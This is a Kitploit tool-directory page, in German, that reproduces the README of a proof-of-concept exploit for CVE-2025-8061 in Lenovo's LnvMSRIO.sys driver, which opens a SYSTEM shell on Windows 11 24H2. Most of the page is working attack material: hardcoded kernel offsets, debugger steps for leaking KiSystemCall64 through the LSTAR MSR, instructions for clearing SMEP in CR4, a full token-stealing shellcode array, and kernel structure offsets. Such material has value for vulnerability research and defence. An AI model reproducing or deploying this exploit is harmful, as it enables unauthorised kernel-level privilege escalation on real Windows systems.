Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Lenovo-CVE-2025-8061 — PoC zum Öffnen einer System-Shell gegen den LnvMSRIO.sys-Treiber | Kitploit
Tools/GitHubGitHub/symeonp/lenovo-cve-2025-8061
Privilege EscalationSchwachstellenanalyseExploitationShellcodePayload-EntwicklungBinary-Exploitation
GitHubsymeonp/lenovo-cve-2025-8061

Lenovo-CVE-2025-8061

PoC zum Öffnen einer System-Shell gegen den LnvMSRIO.sys-Treiber

Repository anzeigen
125153vor 11 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

System-Shell.

Lenovo-CVE-2025-8061

PoC zum Öffnen einer System-Shell gegen den LnvMSRIO.sys-Treiber (3.1.0.36). Alle Credits gehen an den ursprünglichen Autor Luis Casvella von Quarkslab. Dies funktioniert gegen die neueste Windows-11-Version 24H2 (mit deaktiviertem KVAShadowing und deaktivierter Core Isolation!)

[!NOTE] Dies wurde mit dem neuesten Visual Studio 22 kompiliert.

Nützliche Hinweise für die Exploitation

[!CAUTION] Die Offsets für diesen Exploit sind fest für die Windows-Version codiert: Edition build lab: 26100.1.amd64fre.ge_release.240331-1435. Daher musst du dein System anpassen/debuggen, da sie sich von denen unterscheiden, die ich hier verwendet habe.

Das KiSystemCall64-Offset war offensichtlich anders als das des Autors:

#define FUNCTION_OFFSET__KISYSTEMCALL64 0x6b2b40 // nt!KiSystemCall64 offset

root@kitploit:~
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40

Deaktivieren von SMEP

Der aktuelle Wert des cr4-Registers auf meinem System war 0x00350EF8. Um SMEP zu deaktivieren, musst du Bit 20 gelöscht haben:

root@kitploit:~
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)

Um den richtigen Wert zu ermitteln: 0x350ef8 & ~0x100000 = 0x250ef8

Überprüfe das CR4 deines Systems Prüfe zuerst, welchen CR4-Wert dein System haben sollte:

root@kitploit:~
? cr4 & 0x100000   ; Check if bit 20 is set

Ganz wichtig: Stelle im Shellcoding-Abschnitt zur Rückkehr in den Benutzermodus sicher, dass du es auf den ursprünglichen Wert zurücksetzt!

ASLR-Bypass.

Mit einem anderen Rechner:

root@kitploit:~
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200

Wie du sehen kannst, sind diese alle unterschiedlich, und technisch gesehen gibt es hier keinen ASLR-Bypass (meh)..

Zu untersuchende Techniken:

  1. Signatur-Scanning Sobald du die Adresse von KiSystemCall64Shadow aus LSTAR hast, scannst du rückwärts oder vorwärts nach bekannten Bytemustern, die über Versionen hinweg stabil sind. Zum Beispiel:

// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8) // Verify you have the right address if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) { // Invalid - adjust offset }

// Then scan for other gadgets relative to this known point // For example, find "pop rcx; ret" pattern: 59 c3

  1. Bekannte Offsets zwischen Funktionen nutzen Einige Offsets zwischen Kernelfunktionen sind stabiler. Sobald du KiSystemCall64Shadow hast:

// KiSystemCall64 is usually nearby (a few KB away) // Scan the region for the standard KiSystemCall64 prologue // Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)

Token-Stealing-Shellcode.

Da ich erneut eine andere Version verwende, musste ich diesen Shellcode leicht anpassen:

root@kitploit:~
unsigned char tokenSteal[] = {
    0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
    0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
    0x49, 0x89, 0xC0,                                       // mov r8, rax
    0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
    0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
    0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
    0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
    0x75, 0xE5,                                             // jne (loop back)
    0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
    0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
    0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
};

Dazu musst du die folgenden Strukturen überprüfen und anpassen:

root@kitploit:~
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
0: kd> dt nt!_EPROCESS UniqueProcessId 
   +0x1d0 UniqueProcessId : Ptr64 Void
0: kd> dt nt!_EPROCESS Token
   +0x248 Token : _EX_FAST_REF
0: kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS
0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB
0: kd> dt nt!_KPRCB CurrentThread
   +0x008 CurrentThread : Ptr64 _KTHREAD

swapgs syscall

Direkt vor der Ausführung des swapgs ist es sehr wichtig, dass rcx zurück auf main zeigt, damit die Ausführung fortgesetzt werden kann. Wenn du das nicht tust, friert deine VM ein!

Ausführen der swapgs-Anweisung.

Adresse von rdmsr c0000082

Stell sicher, dass du diesen Wert ebenfalls auf seinen ursprünglichen Wert zurücksetzt. Wenn du das nicht tust, friert die VM erneut ein :)

TODO

  • Finde generischere Methoden, um die Gadgets mithilfe des beliebigen Lesevorgangs über die MSR LSTAR zu erhalten!
  • Wie in einem Twitter-Kommentar erwähnt, finde heraus, wie man die Low-Stub-Methode verwenden kann, um das CR3-Register zu lesen. Und dann können wir VA in PA umwandeln.
Tool herunterladen